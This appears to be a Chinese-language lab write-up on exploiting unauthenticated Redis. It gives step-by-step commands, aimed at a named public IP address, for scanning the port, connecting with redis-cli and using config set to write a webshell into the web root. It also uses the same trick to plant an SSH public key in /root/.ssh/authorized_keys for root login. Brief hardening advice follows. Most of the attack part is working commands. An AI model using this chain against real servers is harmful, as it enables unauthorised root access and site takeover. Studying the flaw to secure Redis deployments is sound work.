Redis未授權漏洞
Redis 默認情況下,會綁定在 本地6379端口,如果沒有進行相關策略,會將 Redis 服務暴露到公網上,在沒有設置密碼認證(默認為空)的情況下,任意用戶在可以訪問目標服務器的情況下未授權訪問Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進行寫文件操作,可以將ssh公鑰寫入目標服務器的 /root/.ssh/authotrized_keys 文件中,進而可以使用對應私鑰直接使用ssh服務登錄目標服務器、添加計劃任務、寫入Webshell等操作。
靶機是Jacky馬的服務器,快到期了就沒脫敏。
環境搭建
wget http://download.redis.io/releases/redis-2.8.17.tar.gz

tar xzvf redis-2.8.17.tar.gz #解壓安裝包 cd redis-2.8.17 # 進入redis目錄 make #編譯

cd src/ #進入src目錄 cp redis-server /usr/bin/ cp redis-cli /usr/bin/ #將redis-server和redis-cli拷貝到/usr/bin目錄下 cd .. # 返回上一級目錄 cp redis.conf /etc/ #將redis.conf拷貝到/etc/目錄下 redis-server /etc/redis.conf # 使用/etc/目錄下的redis.conf文件中的配置啟動redis服務 # 服務啟動成功。redis-server啟動redis數據庫服務

探測漏洞
先用 nmap 探測靶機的端口開放情況,意思一下;
Nmap -A -p 6379 --script redis-info 122.51.10.27
Redis在默認配置空口了登陸,如果其默認端口6379對外開放的話,則可以遠程訪問,因此默認配置下的Redis我們可以直接連接并獲取敏感信息。
redis-cli -h 122.51.10.27 -p 6379

方法一:直接寫shell
如果目標開啟了80端口,可以直接寫shell到網站目錄
config set dir /var/www/html #靶機 Web 網站的目錄 config set db filename test123.php # 寫入的文件名 set webshell "" # shell內容 save # 保存

shell寫入成功,可以直接連接。

方法二:結合 SSH 免密碼登錄
所謂" 公鑰登錄",就是用戶將自己的公鑰儲存在遠程主機上。登錄時遠程主機會向用戶發送一段隨機字符串,用自己的私鑰加密后再發回來。遠程主機用事先儲存的公鑰進行解密,如果成功則允許直接空密碼ssh登錄。
①開啟ssh服務
service ssh start # 開啟ssh服務 /etc/init.d/ssh status # 查看ssh狀態

②在本地生成公鑰文件
ssh-keygen -trsa

③連接 Redis 寫入文件
將里面的內容寫入遠程的 Redis 服務器上并且設置其 Key為 test命令如下
(echo -e ""; cat /root/.ssh/id_rsa.pub; echo -e "") > test123.txt cat test123.txt | redis-cli -h 122.51.10.27 -x set test
報錯,說主機處于保護模式只允許redis本地鏈接,需要修改配置文件../redis.conf 需要在服務器上關閉保護模式:

再次上傳,成功

登錄遠程服務器可以看到公鑰已經添加到 Redis 的服務器上了命令如下
redis-cli -h 122.51.10.27 -p 6379 keys * get test config set dir "/root/.ssh" #保存的路徑 config set dbfilename "authorized_keys" # 保存的文件名 save #將test里的公鑰保存到/root/.ssh/authotrized_keys文件中(要有寫權限) # 最后就可以測試連接了 ssh –i id_rsa root@122.51.10.27

修復建議:
1./etc/redis.conf 中找到 “requirepass” 字段在后面設置復雜口令
2./etc/redis.conf中配置protected-mode yes
3.更改默認端口